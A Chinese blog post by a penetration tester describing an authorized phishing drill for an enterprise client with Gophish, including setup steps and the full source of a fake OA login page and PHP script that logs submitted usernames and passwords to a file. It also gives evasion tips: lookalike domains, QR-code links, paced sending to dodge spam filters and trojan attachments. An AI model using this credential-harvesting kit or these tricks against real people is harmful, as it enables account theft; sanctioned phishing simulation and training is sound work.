记一次使用gophish开展的钓鱼演练

钓鱼演练已经是上个月的事了,客户是某国企客户,因为当时身兼多个项目,没能有精力实时记录,过了一个月,感觉如果不记录下来,这对我来说是一个极大的损失,还是补一次博客吧,以记录我这来之不易的实战机会。

gophish安装

Gophish是一个功能强大的开源网络钓鱼框架,可以轻松测试组织的网络钓鱼风险,专为企业和渗透测试人员设计。我们可以通过该框架快速生成邮件钓鱼模板并开展钓鱼行动,同时还能在后台查看到邮件的一个收发情况。

搭建教程

Gophish 项目地址:https://github.com/gophish/gophish
Gophish 官网地址:https://getgophish.com/

gophish 自带 web 面板,对于邮件编辑、网站克隆、数据可视化、批量发送等功能的使用带来的巨大的便捷
在功能上实现分块,令钓鱼初学者能够更好理解钓鱼工作各部分的原理及运用

安装包下载:https://github.com/gophish/gophish/releases

gophish 可以运行在常见的操作系统上,这里我们是搭建在ubuntu上

使用wget命令下载到本地
下面非最新版本

1
2
3
4
//32bit
root@ubuntu:~$ wget https://github.com/gophish/gophish/releases/download/v0.10.1/gophish-v0.10.1-linux-32bit.zip
//64bit
root@ubuntu:~$ wget https://github.com/gophish/gophish/releases/download/v0.10.1/gophish-v0.10.1-linux-64bit.zip

下载完成后,利用unzip命令进行解压

1
2
root@ubuntu:~$ mkdir gophish
root@ubuntu:~$ unzip gophish-v0.10.1-linux-64bit.zip -d ./gophish

修改配置文件:

1
root@ubuntu:~$ cd gophish

若需要远程访问后台管理界面,将listen_url修改为0.0.0.0:3333,端口可自定义。(这项主要针对于部署在服务器上,因为一般的 Linux 服务器都不会安装可视化桌面,因此需要本地远程访问部署在服务器上的 gophish 后台)
如果仅通过本地访问,保持127.0.0.1:3333即可
这里改为0.0.0.0,因为是挂载在云服务器上的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ubuntu:~$ vi config.json
{
//后台管理配置
"admin_server": {
"listen_url": "0.0.0.0:3333", // 远程访问后台管理
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:80",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}

运行 gophish:
运行 gophish 脚本

1
root@ubuntu:~$ ./gophish

访问后台管理系统:

本地打开浏览器,访问https://ip:3333/ (注意使用 https 协议)
可能会提示证书不正确,依次点击 高级 — 继续转到页面 ,输入默认账密进行登录:admin/gophish

部署在公网服务器上,登录后在功能面板Account Settings处修改高强度密码

当仅仅使用命令./gophish来启动 gophish 时,经过一段时间会自动掉线(脚本终止运行)
所以需要长期保持运行时,可以结合nohup与&来启动 gophish,保持后台稳定运行

1
root@ubuntu:~$ nohup ./gophish &

钓鱼页面制作

钓鱼页面制作我没有用gophish中的钓鱼页面制作,我是使用ai制作的钓鱼页面
构成为一个前端页面index.html+login.php处理表单+发送至account.txt的形式
登录页面(有点粗糙哈哈,因为客户要求不能太像他们的OA系统,而且不能太精细呃呃呃呃,所以这个前端页面已经是改过的第三版)

输入表单内容

ok到这里钓鱼就成功了,没有太多花里胡哨,其实本来应该可以很精彩的,但客户就是客户哈哈

成功保存表单输入的信息,时间+ip信息+用户+密码 这里ip显示是因为本地起的
index.hhml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>OA综合办公系统</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css" rel="stylesheet">

<script>
tailwind.config = {
theme: {
extend: {
colors: {
primary: '#165DFF',
secondary: '#0F3C91',
neutral: '#F5F7FA',
},
fontFamily: {
sans: ['Inter', 'system-ui', 'sans-serif'],
},
}
}
}
</script>

<style type="text/tailwindcss">
@layer utilities {
.bg-gradient-weaver {
background: linear-gradient(135deg, #1E88E5 0%, #1565C0 50%, #0D47A1 100%);
}
.text-shadow {
text-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
.input-focus {
@apply focus:border-primary focus:ring-2 focus:ring-primary/20 focus:outline-none;
}
}
</style>
</head>
<body class="bg-gradient-weaver min-h-screen flex flex-col items-center justify-center p-4">
<div class="mb-12">
<h1 class="text-[clamp(1.8rem,4vw,2.5rem)] font-bold text-white text-shadow">OA综合办公系统</h1>
</div>

<div class="w-full max-w-md bg-white/10 backdrop-blur-md rounded-lg shadow-xl p-8 border border-white/20">
<form id="loginForm" action="login.php" method="post" class="space-y-6">
<div class="relative">
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<i class="fa fa-user text-white/70"></i>
</div>
<input type="text" id="username" name="username"
class="block w-full pl-10 pr-3 py-3 rounded-md bg-white/10 border border-white/20
text-white placeholder-white/50 input-focus transition-all duration-300"
placeholder="用户名" required>
</div>

<div class="relative">
<div class="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
<i class="fa fa-lock text-white/70"></i>
</div>
<input type="password" id="password" name="password"
class="block w-full pl-10 pr-3 py-3 rounded-md bg-white/10 border border-white/20
text-white placeholder-white/50 input-focus transition-all duration-300"
placeholder="密码" required>
<button type="button" id="togglePassword" class="absolute inset-y-0 right-0 pr-3 flex items-center text-white/70 hover:text-white transition-colors">
<i class="fa fa-eye-slash"></i>
</button>
</div>

<button type="submit"
class="w-full bg-black text-white font-medium py-3 px-4 rounded-md hover:bg-gray-800
focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-black transition-all duration-300">
登录
</button>
</form>
</div>

<div class="mt-12 text-white/60 text-sm">
<!-- <p>版本信息 版权所有</p> -->
</div>

<button id="settingsBtn" class="fixed bottom-6 right-6 w-10 h-10 rounded-full bg-white/10 flex items-center justify-center text-white hover:bg-white/20 transition-all duration-300">
<i class="fa fa-cog"></i>
</button>

<script>

const togglePassword = document.getElementById('togglePassword');
const password = document.getElementById('password');

togglePassword.addEventListener('click', function() {
const type = password.getAttribute('type') === 'password' ? 'text' : 'password';
password.setAttribute('type', type);

this.querySelector('i').classList.toggle('fa-eye');
this.querySelector('i').classList.toggle('fa-eye-slash');
});


const settingsBtn = document.getElementById('settingsBtn');

settingsBtn.addEventListener('click', function() {
alert('设置功能即将上线');
});


const inputs = document.querySelectorAll('input');

inputs.forEach(input => {
input.addEventListener('focus', function() {
this.parentElement.classList.add('scale-[1.02]');
this.parentElement.style.transition = 'transform 0.3s ease';
});

input.addEventListener('blur', function() {
this.parentElement.classList.remove('scale-[1.02]');
});
});



document.getElementById('loginForm').addEventListener('submit', function(e) {

});
</script>
</body>
</html>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = isset($_POST['username']) ? trim($_POST['username']) : '';
$password = isset($_POST['password']) ? trim($_POST['password']) : '';

$ipAddress = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
}


if (!empty($username) && !empty($password)) {
$currentTime = date("Y-m-d H:i:s");
$content = "时间: {$currentTime} | IP: {$ipAddress} | 账号: {$username} | 密码: {$password}\n";
file_put_contents('account.txt', $content, FILE_APPEND | LOCK_EX);
}


?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录成功 - OA综合办公系统</title>
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://cdn.jsdelivr.net/npm/font-awesome@4.7.0/css/font-awesome.min.css" rel="stylesheet">
<script>
tailwind.config = {
theme: {
extend: {
colors: {
primary: '#165DFF',
secondary: '#0F3C91',
}
}
}
}
</script>
<style type="text/tailwindcss">
@layer utilities {
.modal-backdrop {
@apply fixed inset-0 bg-black/50 flex items-center justify-center z-50 opacity-0 pointer-events-none transition-opacity duration-300;
}
.modal-backdrop.active {
@apply opacity-100 pointer-events-auto;
}
.modal-content {
@apply bg-white rounded-lg shadow-2xl p-6 max-w-md w-full transform scale-95 transition-transform duration-300;
}
.modal-backdrop.active .modal-content {
@apply scale-100;
}
}
</style>
</head>
<body class="bg-gray-50 min-h-screen flex items-center justify-center p-4">
<div class="w-full max-w-md bg-white rounded-lg shadow-xl p-8 text-center">
<div class="w-16 h-16 bg-green-100 rounded-full flex items-center justify-center mx-auto mb-6">
<i class="fa fa-check text-2xl text-green-500"></i>
</div>
<h2 class="text-2xl font-bold text-gray-800 mb-2">登录成功</h2>
<p class="text-gray-600 mb-6">欢迎使用OA综合办公系统</p>

<?php if (!empty($username)): ?>
<p class="text-gray-700 mb-6">用户名: <span class="font-medium"><?php echo htmlspecialchars($username); ?></span></p>
<?php endif; ?>

<div class="flex justify-center space-x-4">
<a href="index.html" class="px-6 py-2 bg-primary text-white rounded-md hover:bg-secondary transition-colors">
返回首页
</a>
<button id="enterSystemBtn" class="px-6 py-2 bg-gray-200 text-gray-800 rounded-md hover:bg-gray-300 transition-colors">
进入系统
</button>
</div>
</div>


<div id="developmentModal" class="modal-backdrop">
<div class="modal-content text-center">
<div class="w-16 h-16 bg-blue-100 rounded-full flex items-center justify-center mx-auto mb-4">
<i class="fa fa-cogs text-2xl text-primary"></i>
</div>
<h3 class="text-xl font-bold text-gray-800 mb-2">温馨提示</h3>
<p class="text-gray-600 mb-6">请在电脑端登录进入系统!</p>
<button id="closeModalBtn" class="px-6 py-2 bg-primary text-white rounded-md hover:bg-secondary transition-colors">
我知道了
</button>
</div>
</div>

<script>

const modal = document.getElementById('developmentModal');
const enterBtn = document.getElementById('enterSystemBtn');
const closeBtn = document.getElementById('closeModalBtn');


enterBtn.addEventListener('click', function() {
modal.classList.add('active');
document.body.style.overflow = 'hidden';
});


closeBtn.addEventListener('click', function() {
modal.classList.remove('active');
document.body.style.overflow = '';
});


modal.addEventListener('click', function(e) {
if (e.target === modal) {
modal.classList.remove('active');
document.body.style.overflow = '';
}
});
</script>
</body>
</html>
<?php
exit;
} else {
usleep(500000);
header("Location: index.html");
exit;
}
?>

邮件发送

进入后台后,左边的栏目即代表各个功能,分别是Dashboard 仪表板 、Campaigns 钓鱼事件 、Users & Groups 用户和组 、Email Templates 邮件模板 、Landing Pages 钓鱼页面 、Sending Profiles 发件策略六大功能
由于实际使用中并不是按照该顺序来配置各个功能,因此下面通过实际使用顺序来详细介绍各功能的使用方法

Sending Profiles 发件策略

Sending Profiles 的主要作用是将用来发送钓鱼邮件的邮箱配置到 gophish
点击New Profile新建一个策略,依次来填写各个字段
Name:
Name 字段是为新建的发件策略进行命名,不会影响到钓鱼的实施,建议以发件邮箱为名字,例如如果使用 qq 邮箱来发送钓鱼邮件,则 Name 字段可以写xxxxxx@qq.com

Interface Type:
Interface Type 是接口类型,默认为SMTP 类型且不可修改,因此需要发件邮箱开启 SMTP 服务
From:
From 是发件人,即钓鱼邮件所显示的发件人。(在实际使用中,一般需要进行近似域名伪造)这里为了容易理解,就暂时以 qq 邮箱为例,所以 From 字段可以写:testxxxxxx@qq.com

Username:
Username 是 smtp 服务认证的用户名,如果是 qq 邮箱,Username 则是自己的 qq 邮箱号xxxx@qq.com
Password:
Password 是 smtp 服务认证的密码,例如 qq 邮箱,需要在登录 qq 邮箱后,点击 设置 - 账户 - 开启 SMPT 服务 生成授权码,Password 的值则可以填收到的授权码

(可选)Email Headers:
Email Headers 是自定义邮件头字段,例如邮件头的X-Mailer字段,若不修改此字段的值,通过 gophish 发出的邮件,其邮件头的 X-Mailer 的值默认为 gophish

设置好以上字段,可以点击Send Test Email来发送测试邮件,以检测 smtp 服务器是否认证通过

成功收到测试邮件:

至此,发件邮箱的配置已经完成。当然,在实际钓鱼中,不可能使用自己的 qq 邮箱去发送钓鱼邮件。一是暴露自身身份,且邮件真实性低,二是 qq 邮箱这类第三方邮箱对每个用户每日发件数存在限制。
因此,如果需要大批量去发送钓鱼邮件,最好的方式是使用自己的服务器,申请近似域名,搭建邮件服务器来发件

Email Templates 钓鱼邮件模板

完成了邮箱配置之后,就可以使用 gophish 发送邮件了。所以,接下来需要去编写钓鱼邮件的内容
点击New Template新建钓鱼邮件模板,依次介绍填写各个字段
Name:
同样的,这个字段是对当前新建的钓鱼邮件模板进行命名。可以简单的命名为:邮件模板 1

Import Email:
gophish 为编辑邮件内容提供了两种方式,第一种就是Import Email

用户可以先在自己的邮箱系统中设计好钓鱼邮件,然后发送给自己或其他伙伴,收到设计好的邮件后,打开并选择导出为 eml 文件或者显示邮件原文,然后将内容复制到 gophish 的 Import Email中,即可将设计好的钓鱼邮件导入

需要注意,在点击Import之前需要勾选上Change Links to Point to Landing Page,该功能实现了当创建钓鱼事件后,会将邮件中的超链接自动转变为钓鱼网站的 URL
Subject:
Subject 是邮件的主题,通常为了提高邮件的真实性,需要自己去编造一个吸引人的主题。这里简单填写成“第一次钓鱼测试”

内容编辑框:
内容编辑框是编写邮件内容的第二种模式,内容编辑框提供了Text和HTML两种模式来编写邮件内容,使用方式与正常的编辑器无异。
其中 HTML 模式下的预览功能比较常用到,在编辑好内容后,点击预览,就可以清晰看到邮件呈现的具体内容以及格式

Add Tracking Image:
Add Tracking Image 是在钓鱼邮件末添加一个跟踪图像,用来跟踪受害用户是否打开了收到的钓鱼邮件。默认情况下是勾选的,如果不勾选就无法跟踪到受害用户是否打开了钓鱼邮件
(注:跟踪受害用户是否点击钓鱼链接以及捕捉提交数据不受其影响)
Add Files:
Add Files 是在发送的邮件中添加附件,一是可以添加相关文件提高邮件真实性,二是可以配合免杀木马诱导受害用户下载并打开

当填写完以上字段后,点击Save Template,就能保存当前编辑好的钓鱼邮件模板

Users & Groups 用户和组

当完成上面三个功能的内容编辑,钓鱼准备工作就已经完成了 80%,Users & Groups 的作用是将钓鱼的目标邮箱导入 gophish 中准备发送
点击New Group新建一个钓鱼的目标用户组
Name:
Name 是为当前新建的用户组命名,这里简单命名为目标 1 组


Bulk Import Users:
Bulk Import Users 是批量导入用户邮箱,它通过上传符合特定模板的CSV 文件来批量导入目标用户邮箱
点击旁边灰色字体的Download CSV Template可以下载特定的 CSV 模板文件。其中,模板文件的Email是必填项,其余的Frist Name 、Last Name、Position可选填

Add:
除了批量导入目标用户的邮箱,gophish 也提供了单个邮箱的导入方法,这对于开始钓鱼前,钓鱼组内部测试十分方便,不需要繁琐的文件上传,直接填写Email即可,同样其余的Frist Name 、Last Name、Position可选填


编辑好目标用户的邮箱后,点击Save Changes即可保存编辑好的目标邮箱保存在 gophish 中

Campaigns 钓鱼事件

ampaigns 的作用是将上述四个功能Sending Profiles 、Email Templates 、Landing Pages 、Users & Groups联系起来,并创建钓鱼事件
在 Campaigns 中,可以新建钓鱼事件,并选择编辑好的钓鱼邮件模板,钓鱼页面,通过配置好的发件邮箱,将钓鱼邮件发送给目标用户组内的所有用户

点击New Campaign新建一个钓鱼事件
Name:
Name 是为新建的钓鱼事件进行命名,这里简单命名为第一次钓鱼

Email Template:
Email Template 即钓鱼邮件模板,这里选择刚刚上面编辑好的钓鱼邮件模板邮件模板 1

Landing Page:
Landing Page 即钓鱼页面,这里选择刚刚上面编辑好的名为钓鱼页面 1的 XX 大学邮箱登录页面的钓鱼页面(这里我没有选,因为是在另一个服务器上搭建的web服务,gophish只用来发邮箱)

(重点)URL:
URL 是用来替换选定钓鱼邮件模板中超链接的值,该值指向部署了选定钓鱼页面的 url 网址(这里比较绕,下面具体解释一下,看完解释再来理解这句话)

简单来说,这里的 URL 需要填写当前运行 gophish 脚本主机的 ip。
因为启动 gophish 后,gophish 默认监听了3333和80端口,其中3333端口是后台管理系统,而80端口就是用来部署钓鱼页面的。
当 URL 填写了http:// 主机 IP/,并成功创建了当前的钓鱼事件后。gophish 会在主机的80端口部署当前钓鱼事件所选定的钓鱼页面,并在发送的钓鱼邮件里,将其中所有的超链接都替换成部署在80端口的钓鱼页面的 url

所以,这里的 URL 填写我本地当前运行 gophish 主机的 IP 对应的 url,即http://192.168.141.1/

另外,需要保证的是该 URL 对于目标用户组的网络环境是可达的。例如填写内网 IP,则该钓鱼事件仅能够被内网目标用户所参与,而外网目标用户网络不可达。如果部署了 gophish 的是公网服务器,URL 填写公网 IP或域名,则需要保证目标用户的内网环境能够访问该公网服务器的 IP(有些企业的内网环境会设定防火墙策略,限制内网用户能够访问的公网 IP)
Launch Date:
Launch Date 即钓鱼事件的实施日期,通常如果仅发送少量的邮箱,该项不需要修改。如果需要发送大量的邮箱,则配合旁边的Send Emails By效果更佳

(可选)Send Emails By:
Send Emails By 配合Launch Date使用,可以理解为当前钓鱼事件下所有钓鱼邮件发送完成的时间。Launch Date作为起始发件时间,Send Emails By 作为完成发件时间,而它们之间的时间将被所有邮件以分钟为单位平分。

例如,Launch Date的值为2020.07.22,09:00,Send Emails By的值为2020.07.22,09:04,该钓鱼事件需要发送50 封钓鱼邮件。
那么经过以上设定,从 9:00 到 9:04 共有 5 个发件点,这 5 个发件点被 50 封邮件平分,即每个发件点将发送 10 封,也就是每分钟仅发送 10 封。

这样的好处在于,当需要发送大量的钓鱼邮件,而发件邮箱服务器并未限制每分钟的发件数,那么通过该设定可以限制钓鱼邮件不受约束的发出,从而防止因短时间大量邮件抵达目标邮箱而导致的垃圾邮件检测,甚至发件邮箱服务器 IP 被目标邮箱服务器封禁
Sending Profile:
Sending Profile 即发件策略,这里选择刚刚编辑好的名为XXXXX@qq.com的发件策略

Groups:
Groups 即接收钓鱼邮件的目标用户组,这里选择刚刚编辑好的名为目标 1 组的目标用户组

填写完以上字段,点击Launch Campaign后将会创建本次钓鱼事件(注意:如果未修改Launch Date,则默认在创建钓鱼事件后就立即开始发送钓鱼邮件)

Dashboard 仪表板

当创建了钓鱼事件后,Dashboard 会自动开始统计数据。统计的数据项包括邮件发送成功的数量及比率,邮件被打开的数量及比率,钓鱼链接被点击的数量及比率,账密数据被提交的数量和比率,以及收到电子邮件报告的数量和比率。另外,还有时间轴记录了每个行为发生的时间点

需要注意的是,Dashboard 统计的是所有钓鱼事件的数据,而非单个钓鱼事件的数据,如果仅需要查看单个钓鱼事件的统计数据,可以在Campaigns中找到该钓鱼事件,点击View Results按钮查看

Results for 第一次钓鱼

至此,一次在 gophish 发起的钓鱼事件所需实施步骤就已经全部完成

钓鱼效果与总结

因为时间有些远了,有些图找不出来了,我们采用的是gophish伪造邮件+自搭web服务器进行钓鱼,并非全部采用gophish,所以较一般步骤稍有区别

仪表盘如上,集团内一共发了491份,后面没有记录就是因为没有全部采用以上步骤
当然呢,钓鱼结果就不展示了,令我吃惊的是,前面那么简单的OA web页面都能骗到不少人,统计了一下,有49个人输入了自己在集团内的账号密码,哈哈,这个结果对我来说属实有些意外,然而也少了一些乐趣,如果是客户不打回前面的页面,那么此次钓鱼演练一定会骗到更多的人吧

这个是钓鱼邮件,我们以网址转换为二维码扫描的形式进入,只能说稍降低点防范吧,然后还要购买一个域名,要与客户的域名相似,伪造一下,比如www.baidu.com 改为 www.ba1du.com


记一次使用gophish开展的钓鱼演练
http://example.com/2025/10/21/记一次使用gophish开展的钓鱼演练/
作者
奇怪的奇怪
发布于
2025年10月21日
许可协议